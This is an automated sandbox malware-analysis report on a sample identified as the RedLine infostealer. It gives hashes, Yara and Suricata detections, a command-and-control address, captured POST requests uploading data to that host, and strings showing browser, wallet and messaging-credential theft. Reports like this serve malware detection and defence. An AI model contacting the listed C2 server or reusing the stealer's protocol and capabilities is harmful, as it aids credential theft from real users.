Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1517248
MD5:	14bd964c6e45ac40d474f56d03cb98ce
SHA1:	69293148466e1e9701829382a0d60dbab8c7e34c
SHA256:	98f576bf9c2b7f7cc2f174d5f4793f0faecf424ba89e6c3ef97fb40deec0e575
Tags:	exeuser-Bitsight
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6724 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 14BD964C6E45AC40D474F56D03CB98CE)

conhost.exe (PID: 6760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["91.92.251.170:1334"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
file.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
file.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
file.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x1660a:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165eb:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: file.exe PID: 6724	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6724	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: file.exe PID: 6724	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x391156:$a4: get_ScannedWallets 0x38fffd:$a5: get_ScanTelegram 0x390ddf:$a6: get_ScanGeckoBrowsersPaths 0x38ec90:$a7: <Processes>k__BackingField 0x38c1c3:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x38e5c4:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.300000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.file.exe.300000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.file.exe.300000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.file.exe.300000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x1660a:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165eb:$v2_6: GetUpdates

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:10.127592+0200	2045000	1	Malware Command and Control Activity Detected	91.92.251.170	1334	192.168.2.4	49730	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:10.474906+0200	2046056	1	A Network Trojan was detected	91.92.251.170	1334	192.168.2.4	49730	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:13.414339+0200	2045001	1	Malware Command and Control Activity Detected	91.92.251.170	1334	192.168.2.4	49730	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:04.647257+0200	2849662	1	Malware Command and Control Activity Detected	192.168.2.4	49730	91.92.251.170	1334	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:10.474651+0200	2849351	1	Malware Command and Control Activity Detected	192.168.2.4	49730	91.92.251.170	1334	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:15.465065+0200	2848200	1	Malware Command and Control Activity Detected	192.168.2.4	49733	91.92.251.170	1334	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T22:31:13.827892+0200	2849352	1	Malware Command and Control Activity Detected	192.168.2.4	49732	91.92.251.170	1334	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe

Malware Configuration Extractor: RedLine {"C2 url": ["91.92.251.170:1334"]}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.4:49730 -> 91.92.251.170:1334
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 91.92.251.170:1334 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.4:49730 -> 91.92.251.170:1334
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 91.92.251.170:1334 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.4:49732 -> 91.92.251.170:1334
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 91.92.251.170:1334 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.4:49733 -> 91.92.251.170:1334

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 91.92.251.170:1334

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 1334
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 1334 -> 49733

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 91.92.251.170:1334

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 91.92.251.170:1334Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 91.92.251.170:1334Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 91.92.251.170:1334Content-Length: 923321Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 91.92.251.170:1334Content-Length: 923313Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: THEZONEBG THEZONEBG

Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.251.170

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 91.92.251.170:1334Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.00000000029D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.251.170:1334
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.251.170:1334/
Source: file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.0000000002831000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: file.exe, 00000000.00000002.1821747315.00000000029D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: file.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: file.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: file.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: file.exe PID: 6724, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094E7B0	0_2_0094E7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094DC90	0_2_0094DC90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F3D528	0_2_05F3D528
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F34468	0_2_05F34468
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F33720	0_2_05F33720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F39630	0_2_05F39630
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F31210	0_2_05F31210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F3DA30	0_2_05F3DA30

Source: file.exe, 00000000.00000002.1821100222.000000000095E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs file.exe
Source: file.exe, 00000000.00000002.1821747315.0000000002831000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: file.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
